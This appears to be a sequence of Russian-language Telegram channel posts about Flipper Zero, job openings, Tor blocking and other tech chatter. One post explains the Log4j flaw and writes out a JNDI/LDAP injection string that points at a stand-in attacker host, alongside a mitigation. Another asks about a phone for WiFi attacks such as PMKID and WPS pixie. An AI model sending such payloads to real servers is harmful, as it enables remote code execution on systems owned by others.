Зацените как поет Саша Капустина

Это просто отпад — такая экспрессия, драйв. Меня завораживает все, и голос, и мимика и пластика. Видно, что сама очень кайфует от процесса. Так выглядит страсть и непосредственность.

На 1:23 она путается в словах и просто поет ла-ла-ла. Можно умереть от умиления.

А вы так поете в дУше?

Посоветуйте кулхацкерскую мобилу на Android

Никогда в жизни не использовал Kali Nethunter. Какую мобилу лучше всего взять, чтобы она умела:

* Атаки на WiFi: pixie wps, PMKID, сниффер хендшейков, точка доступа MANA

* Сбор данных о сотовых вышках для cellmaper

* Нормальный LTE cat 6 (или хотя бы cat 4)

Ощущение от погружения в мир андроида — все с каким-то душком, будто роешься в помойке

Моя подруга Катя @ekbainova делает железку, которая машинным зрением трекает как люди смотрят рекламу на экранах: замеряет зрительный контакт, определяет пол, настроение.

Команда ищет продакт-менедждера который полностью возглавит проект:

1. Предложит полное обновление платы Addreality Box, которое выдержит большую нагрузку, чем текущая версия.
2. Наладит заказ производства плат
3. Запустит серию тестирований совместно с QA
4. Наладит производство
5. Оформит международную сертификацию оборудования (в команде с юристом)

Полное описание вакансии
Телега для связи @ekbainova

Заработал BLE HID

Теперь я двачую капчу исключительно через флиппер.

Флиппер обнаруживается как BLE HID клавиатура. Эта функция придумывалась для того, чтобы переключать презентации с флиппера. Но в будущем добавим медиа клавиши для управления плеером и можно будет вообще любые кнопки клавиатуры забиндить.

В России начали блокировать Tor

Пока только некоторые провайдеры, но уже можно сказать, что почалось.

Добро пожаловать в Китай без кошка-жена и две миска риса

Технический писатель для Flipper Zero

Проект Flipper Zero активно развивается, и документация не успевает за разработкой прошивки, поэтому мы ищем технического писателя.

Работать нужно будет напрямую со мной.

💡Твой скилл:

• Опыт работы техническим писателем в сфере IT
• Инженерный бекграунд
• Умение добывать информацию от разработчиков

Тестовое задание:

Напишите инструкцию с картинками, как правильно сфотографировать банан на мобильный телефон, чтобы получилась качественная итоговая фотография.
В тестовом задании будет оцениваться все, как сам материал так и его верстка и дистрибуция. Итоговый результат должен быть максимально продуктовым, поэтому вложения .doc файлов в письме сразу мимо.

Резюме и тестовое задание присылайте на [email protected]

Полный текст вакансии https://career.habr.com/vacancies/1000092945

У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

Кек, Флипперы начали продавать на Авито https://www.avito.ru/moskva/igry_pristavki_i_programmy/flipper_zero_2272718623

Это наверняка реальное предложение, флиппер скорее всего с хакатона.

Не рекомендую покупать, тем более за 50000 рублей, но если вдруг решитесь брать с рук, проверьте версию железа. Это может быть развод, со старой неподдерживаемой версией. Актуальная версия ТОЛЬКО 12.F7B9C6

Она прописана в OTP, читать ее нужно оттуда.

Пофиксил багулину в либе nfc и впилил обработку CMD_AUTH для амибок